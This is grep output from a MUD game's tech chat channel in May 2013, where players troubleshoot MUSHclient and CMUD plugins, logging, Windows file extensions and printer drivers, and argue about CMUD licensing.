T3/r7/2013-05-26.txt.gz:{chan ch=tech}Wildkard Tech: I'll give it a go thanks
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: is there anyway i can log goals im doing with aardmush?
T3/r7/2013-05-26.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: there is a logging function for the aardmush
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: can you guide me to it please?
T3/r7/2013-05-26.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: click shift+ctr+J
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Nuanse Tech: hmm...maybe I shouldnt have checked that...include 499999 lines from buffer into log file
T3/r7/2013-05-26.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: ouch...
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Sgurbuz Tech: how come when i log it logs the map and the room desc cant i just log the directions i went and the commands i used?
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Prince Wario Tech: does anyone know how to make the map smaller in aar4d mush client
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Prince Wario Tech: it is so large I can only see three boxes on the screen
T3/r7/2013-05-26.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: it logs everything your mudclient would get
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Vuron Tech: mousewheel?
T3/r7/2013-05-26.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: which map wario?
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Nuanse Tech: interesting, #586172 gquest in beginning of buffer and now, #586578.... so only 400gquests in last 500k lines
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Prince Wario Tech: the one that you can click on to go to different locations
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Prince Wario Tech: in an area
T3/r7/2013-05-26.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: normally yyou can right click or , as vuron said, mousewheel will work
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Prince Wario Tech: tried mouse wheel and right click it doesn't give me a second window
T3/r7/2013-05-26.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: click the top left of that box though i think
T3/r7/2013-05-26.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: should be a * symbol
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Prince Wario Tech: yeah but room size is in gray, won't let me adjust it
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Prince Wario Tech: there that did it
T3/r7/2013-05-26.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto tosses Prince Wario up in the air, he loves it!
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Zela Tech: is there a decent mudclient for Ubuntu
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: MUSHclient, of course
T3/r7/2013-05-27.txt.gz:{chan ch=tech}HelperMan Hadar Tech: mushclient works very well on wine, so i have heard
T3/r7/2013-05-27.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Or tt++ or tf.
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: so gammon and Fiendish both use ;-)
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Zela Tech: does Ubuntu support dial-up networking -- seems to be missing from the helpfile section 
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: it does, yes
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Zela Tech: where do i go to download the dial-up programs
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: system -> administration -> networking...connections, modem connection
T3/r7/2013-05-27.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Abelinc: that's assuming he's using GNOME I guess?
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: doesn't matter, it's troll questions anyway :P
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Zela Tech: the second computer here is configured for broadband -- the version is Ubuntu 12.04 LTS -- unsure whether Gnome I is installed - unsure where to access the: system ->
T3/r7/2013-05-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: how to turn on the spell checker in mush again?
T3/r7/2013-05-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: anybody? 0.o
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tigernuts Tech: don't use mush, use zmud, and the spellchecker is so awful i wouldn't use it anyway
T3/r7/2013-05-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: zmud sucks mush is the shit...and i want to use it
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tigernuts Tech: clearly you'll have no trouble turning on the the spellchecker then
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tynrael Tech: File>GlobalPreferences>General>EnableSpellCheck
T3/r7/2013-05-27.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: is there like a auto practice plugin?
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Ayasinda Tech: not that I know of
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Faylen Tech: So somehow my mushclient has gotten to where when I add new plugins, or even edit existing ones, it's saving the exact path and looking for that during future reloads instead of just the relative path. Any clue how to fix that, or is it possible to fix? It became a problem when I moved my mushclient folder from an external drive to my hard drive, but only with recently added/editted plugins
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: I'd try closing MUSHclient, opening up the world file, and changing them to relative
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: if you add a plugin which is outside the plugins folder hierarchy, then that will have to have an absolute path
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Faylen Tech: It wasn't. I have no idea why it saved it that way, heh. But I'll fix the wolf file. Thanks for that
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Faylen Tech: world file rather
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Faylen Tech: Oh, apparently it fixed itself. I loked at the file without editting it with mush open and there were the absolute paths. closed mush, reopened it, everything was relative again. strange
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: interesting
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Faylen Tech: now if I could just get the setting to hide the visual map to stick I'd be great. hehe
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Mushambo Tech: What's everyone's favorite Windows photo management program? Picasa?
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Erie Tech: I've heard good about gimp
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: that's not a photo management program
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Mushambo Tech: For maintaining a library ?
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: it's an editor
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Erie Tech: sure, you can edit and publish photos
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: you're not getting what a photo management program is :P
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Mushambo Tech: I gather Picasa it is! :)
T3/r7/2013-05-27.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Are there iPhone SSH clients?
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: yup, lots of 'em
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: my favorite is the non-free iSSH...it's a telnet, ssh, VNC, RDP and X11 in one
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Faylen Tech: Is there a way in mush to have several pattern matches for the same trigger? Or do I have to make separate triggers for each one? I'm editting a plugin file, not using the dialogs
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Ayasinda Tech: You can use variables and regex if the triggers are not too different from each other I think.
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Faylen Tech: Ah. This is trying to set up a sound for double xp starting, and there are several patterns there. Wa hoping I could just put a few different matches into the same trigger, but if not I'll just make separate copies
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Combattantx Tech: anyone able to tell me why my bastmush statmonitor wont work?
T3/r7/2013-05-27.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Won't work how?  Does it install?  Does it not respond to commands?
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Combattantx Tech: wont install
T3/r7/2013-05-27.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Have you leveled or killed mobs?
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Combattantx Tech: no
T3/r7/2013-05-27.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: What does it say when you try?
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Combattantx Tech: but if i ctrl shift p and add it its not there the next time i control shift p
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Combattantx Tech: the last line is Line  717: Error parsing script (Cannot load)
T3/r7/2013-05-27.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: So you install it, and what happens?
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Combattantx Tech: i have the bast folder in the right directory for sure
T3/r7/2013-05-27.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Sorry no clue what could be causing that.  I'd type up the steps you are trying, and put the whole error messae intoa note for bast.  He's online, but not sure irf he's around.
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: the real error is higher up than the error parsing script...paste the whole error into pastebin and put the link on tech channel
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tigernuts Tech: so what is the practical difference between a PCL5 and a PS printer driver?
T3/r7/2013-05-27.txt.gz:{chan ch=tech}StarsOscar Tech: pcl is "lower level"
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tigernuts Tech: what circumstances would you use each?
T3/r7/2013-05-27.txt.gz:{chan ch=tech}StarsOscar Tech: when the other is unavailable
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tigernuts Tech: and if both are available?
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Combattantx Tech: ok so i pasted on pastebin : http://pastebin.com/jPhVW53u
T3/r7/2013-05-27.txt.gz:{chan ch=tech}StarsOscar Tech: or when you write ps/pcl scripts ;)
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Daloran Tech: Was my understanding PS gave better results. Though I think its largely an adobe vs hp thing now
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Daloran Tech: something to do with trademarks that allowed PS to generate better curves in lines
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: =h 15
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: oops :-)
T3/r7/2013-05-27.txt.gz:{chan ch=tech}StarsOscar Tech: more like 12 years ago
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: PS for professional and portable results, PCL for 98% of uses
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Daloran Tech: PS also giving a little more consistant results... difference between something like a prerendered PDF and say a doc file... PS will give a consistant result regardless of printer, where PCL will give different results based on device
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: nod, PDF is a superset of PS
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tigernuts Tech: does that include consistent results with colours, daloran?
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: for equipment that are meant for consistent colors, yes
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: for anything you have access to, no
T3/r7/2013-05-27.txt.gz:{chan ch=tech}StarsOscar Tech: hp printers implement ps using pcl
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: nah, plenty of HP printers with true Adobe PS
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tigernuts Tech: is there any performance difference?
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tigernuts Tech: memory use etc
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: PCL will be faster
T3/r7/2013-05-27.txt.gz:{chan ch=tech}StarsOscar Tech: maybe the "professional" ones
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Daloran Tech: was unaware of PDF/PS being related, other then Adobe connection. Today I learned.
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Combattantx Tech: abelinc
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: nod, like NeXT computers used DisplayPostscript as their video format while Macs (post-Steve's return) use DisplayPDF (Quartz)
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Combattantx Tech: abelinc i posted the link to pastebin for my statmonitor error
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: combattantx: go here: https://bastmush.googlecode.com/svn-history/r2032/trunk/Bast/lua/sqlitedb.lua...copy/paste that into a textfile that you name "sqlitedb.lua" and replace the sqlitedb.lua file that's in C:\Users\Sabri\Desktop\M\MUSHclient\worlds\plugins\Bast\lua
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: it looks like Bast changed his sqlite lua file in March in a way that breaks initializing some of his db-using plugins
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tynrael Tech: if you comment out the update check line with -- in the sqlite script the rest of the plugins will work fine
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: in the original? the rollback works as is (or did for the issue loading aardwolf_disarm, haven't tried with statmon)
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Combattantx Tech: actually i get another lengthy error message with the instructions you gave me, abelinc
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Combattantx Tech: it says near the top sqlitedb not found
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tynrael Tech: I just had a few of the Bast plugins making a call to sqlite for an update check that returned a nil value, if thats the case you can comment it out so it doesnt run if you experience that issue
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: rofl, you'd of course also want to ignore the fact that I used the c:\path for sgurbuz's computer ;-)
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Combattantx Tech: yeah well i figured that much out.. i put it into the appropriate folder worlds\plugins\bast\lua
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Combattantx Tech: seems to still be a text file
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: oh, that's Windows being stupid
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Combattantx Tech: and not a lua file even though it has .lua extension, do i need lua installed or something?
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: no, you don't need lua installed, it's because Windows hides the real extensions on you...I always turn that off in Windows
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: so whenyou called it sqlitedb.lua, it was really being named sqlitedb.lua.txt
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Combattantx Tech: lol so how do i make it a lua file?
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: are you in XP, or are you on Vista/7?
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Combattantx Tech: 7
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tynrael Tech: you can hit alt then tools>folder options>View> then uncheck hide extensions for known file types
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tynrael Tech: then you can clearly see what extension is going on with your naming
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: in 7 it's in the file menu
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Combattantx Tech: which file menu
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Combattantx Tech: all i can seem to get is properties
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: sorry, it's Organize menu, folder and search options
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: then view tab, UNcheck hide extensions for known file types
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Combattantx Tech: woohoo
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Combattantx Tech: think i got it to work, still got an error message but its no where near as long and i think its just because i havnt done any questing/lvling
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Combattantx Tech: let me try a quest :)
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Combattantx Tech: yes! it works!! thank you abelinc :D
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Combattantx Tech: and all others who helped me :)
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: hey does anyone use cmud and able to successfuly get the same layout and plugin function as the aardwolf mush client?
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Nuanse Tech: why would you want to? if you get same functionality for free with mush?
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: because there is a bit more functionality in my cmudt that i've for many years.. so its still free to me
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: there are cmud packages to do the same things that MUSHclient provides, it's just not packaged in a preconfigured form
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: look around the repository within cmud
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: yeah i know it can do the same.. im just not sure what it is im looking for because i don't know everything that aardwolf is sending to clients
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: ill probably have to read the plugins on my mushclient and find out what its sending
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: huh? you wouldn't need to do any of that
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: I'm talking about browsing scripts that other people have already made for cmud
T3/r7/2013-05-27.txt.gz:{chan ch=tech}HelperMan Hadar Tech: if you ever look up my cmud tuts on youtube(in my finger) you can see my layout, but each person likes their own
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: why wouldn't i? unless the pcakage you are referring too are already made for aardwolf
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: yes kagaho, they are
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: hadar i already have but you don't have the package for share you said already
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: cmud has a built-in Internet-based package repository system, where you can browse for scripts that other people have made
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: nod abelinc then i just havne' been able to locate those ones
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: thanks ill try searching the repository instead of the forum
T3/r7/2013-05-27.txt.gz:{chan ch=tech}HelperMan Hadar Tech: the layout is not that hard to recreate, all the ones i use un modified by me are in the cmud library
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: last resort ill try to make them from scratch.. but i haven't mudded or used cmud for about 5 years
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: hadar abelinc has already helped and covered what i asked in a very direct manner thanks
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: tbh, if you haven't used it in 5 years, then you were incorrect in your statement that your cmud has extra functionality ;-)
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: abelinc has high cognitive abilities =)
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: nah it still does.. and the main functionality is it's purtier =P
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: MUSH will be ahead of your existing setup in every way, and you just said that you want to replicate the appearance, so you're disagreeing with yourself about which is purtier ;-)
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Book of Etzli Tech: There's not much that CMUD can do that MUSH can't, really, and a couple extra things that MUSH can do that CMUD can't. :\
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: the layout appearance only
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: Book of Etzli is a heavy CMUD user, by the way, so you can't claim I'm biased.
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: it's only because it's private software still.. until zugg decides to open it up
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: etz: any chance aardcharn can come back somewhere?
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Book of Etzli Tech: Which he won't ever do.
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Book of Etzli Tech: Aardcharn is up, I just have to remember the page again.
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: You giggle.
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: maybe.. just have to convince him project donations to keep it running better than dead obsolete software
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Infectious Prion Tech: gosh haven't played this in ages :P
T3/r7/2013-05-27.txt.gz:{chan ch=tech}HelperMan Hadar Tech: you can try, but zugg is not going to give out the code, or open it up, someone boned him once which makes him even more cautious
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at HelperMan Hadar.
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: i know someone boned him.. but if he is no longer having a successful busines
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: it would make sense to just make it open source project eventually
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: it will get there i think
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Nuanse Tech: if your cmud wasnt selfreplicating bot, I wouldnt go back to 5 year old system with aardmush out there. And even if you did bot for cmud. you could make so much better with mush. without spending any money
T3/r7/2013-05-27.txt.gz:{chan ch=tech}HelperMan Hadar Tech: then that would bone people who paid for the program, it would have be to a whole new project for that to happen
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: wouldn't bone any of us that paid for it.. becuase it's not being a developed project anyway.. and not every software has FREE updates for life.. soooo.. no bone
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: and i already own
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: unlike many i never used hacked versions of zmud or cmud i went straight from telemate to zmud and i owe much mud experience to the efforts
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: heh, he already boned the free updates for life people by renaming the project :P
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Daloran Tech: Dang you, Zugggg! *shakes fist*
T3/r7/2013-05-27.txt.gz:{chan ch=tech}HelperMan Hadar Tech: as far as my scripts, if people want something i have ill normally give it out or put it on the library
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: do you realize how long zmud was around? i hope you're being facetious because new things are new things and in reality he didn't bone no one
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: new things are new things...and it wasn't :P
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: its k hadar got it covered since abel told me about the package library thanks for all help
T3/r7/2013-05-27.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i told you about it also, its called library so thats how i refrence it :P
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: sure zmud new thing cmud /thread =
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: Purrrrific Growltiger seems to think you have the right idea.
T3/r7/2013-05-27.txt.gz:{chan ch=tech}HelperMan Hadar Tech: according to zugg cmud was a whole re-write, i was too young when i used zmud to know a lot about it
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: yeah
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: v3 was a whole rewrite as well...
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: it wasn't a new product...software gets totally rewritten between releases all the time
T3/r7/2013-05-27.txt.gz:{chan ch=tech}HelperMan Hadar Tech: im not arguing that its a different program, im just stating where kagaho is coming from being that cmud is different
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: you're splitting hairs and i sense too much butthurt about it lol
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: heh, why would I be butthurt, my client has been free and opensource since before zmud was a bedtime dream
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: tintin?
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: I don't think very many people would've had much of a problem if he'd just said "sorry, but I can't afford to stick to the 'for life' license and feed my family"...but pretending that it isn't zmud 8 was stupid
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: nothing wrong with paid software either.. paid software keeps open source software alive 
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: even older than tintin
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: using telnet? lol
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: cmud looks quite a bit diffrent from zmud.. and i dont think many people were that mad anyway.. unless well they were silly.. you could even get cmud also if you bought the zmud recently hen it was released
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: I agree, nothing wrong with paid software, provided it's value-added and not sleezy and barely supported...cmud 1.x was certainly nothing which shouldve been considered non-beta
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: make mushclien tnot ugly and i wont have to use both =)
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: it doesn't look any more different than simply linking to a different library provides
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: the clients look a lot different
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: sure, it looks different...much like XP with XP theme looks different than XP with Classic theme ;-)
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: lol not so sure about that.. but one thing is more familiar to me.. and therefore more comfortable thanks for the help
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: man i lag like crazy when my quest trigger procs just because i have it with a beep =(
T3/r7/2013-05-27.txt.gz:{chan ch=tech}VampireDude Tech: beepbeep
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: hm, should be able to have it be async
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: ill check it out
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: find out why i lagged when my sound triger went off.. same reason a lot of my stuff will lag.. programs on ssd and then they pull data off my old hdd =P
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: ahh, prolly had to spin up the hdd if you're running most stuff off the ssd
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tynrael Tech: hmm, my Mush is on my HDD and not my SSD- maybe thats why I get some lag heh- thx for your discovery  ^_^
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: copy the sound file into mush's folder
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: heh hdd just for storage
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Kagaho Tech: i moved the sound file
T3/r7/2013-05-27.txt.gz:{chan ch=tech}VampireDude Tech: grae how can i disable google spellchecker in the aard mobile app
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: is none
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Book of Etzli Tech: Spelling words correctly effectively turns it off. Just sayin'.
T3/r7/2013-05-27.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: lol
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Riddim Tech: There are a lot of words used here not in a standard dictionary!
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: LOL (owned that kid)
T3/r7/2013-05-27.txt.gz:{chan ch=tech}Tech: After Not Guilty Kojiro's stupid remark, A Piece Of Herodotus baps him upside the head; he DID deserve it.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Quadrapus Tech: Does anyone use cMUD and have an exp/gold tracker?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: Book of Etzli raises his hand.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: have ya checked the in-client library?
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: {This Tier} Time: 43y 4m 23d 5:34:30 Levels: 657 Pups: 3 Exp: 4,568,576 (1,920,021 bonus) Kills: 19,744 Gold: 79,509,521 Trains: 2659 (1048 bonus) Pracs: 7222 Quests: 837 Campaigns: 58 (24636 qps) Trivia: 63 Bonus Stats: S{25} I{43} W{44} D{26} C{41} L{29}
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto grins evilly.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Quadrapus Tech: oh good idea
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: {This Mort} Time: 1m 7d 59:15 Levels: 85 Exp: 638,915 (285,449 bonus) Kills: 2,586 Gold: 6,710,946 Trains: 359 (169 bonus) Pracs: 845 Quests: 234 Campaigns: 10 (6906 qps) Trivia: 11 Bonus Stats: S{5} I{2} W{10} C{5} L{5}
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Pay no attention to the 43y. I just didn't reset the time on it.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: Quadrapus grins evilly.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Sonshi Tech: is that how old you are?!
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: heh, you've been on the tier since epoch
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: wow 43 years "{
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: .:P
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Mine takes a bit of setup and outside files, but it'll always save the file and you don't have to worry about corrupted variables.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at you in agreement. 
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Kagaho Tech: check out the package library for aardwolf
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: Been tier 4 since before Aard existed.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: My tracker (which is completely self-written, sadly), reports year/lastyear, month/lastmonth, week/lastweek, today/yesterday, tier/lasttier, mort/lastmort, level/lastlevel, and hour/lasthour.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: didnt go as far as seconds and mins then i take it :P
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at [Outlaw] Remarto.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: I thought that would have been taking it too far.
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: {Campaign Completed} Time: 19:35 Mobs: 15 Qps: 26 Gold: 21,478 Trivia: 1
T3/r7/2013-05-28.txt.gz:{chan ch=tech}Book of Etzli Tech: {Quest report} 837/837 (100.00%) Qps: 22,680 Avg per quest: 27.10 Gold: 2,619,385 Pracs: 131 Trains: 41 Trivia: 10 Daily Blessing Qps: 405
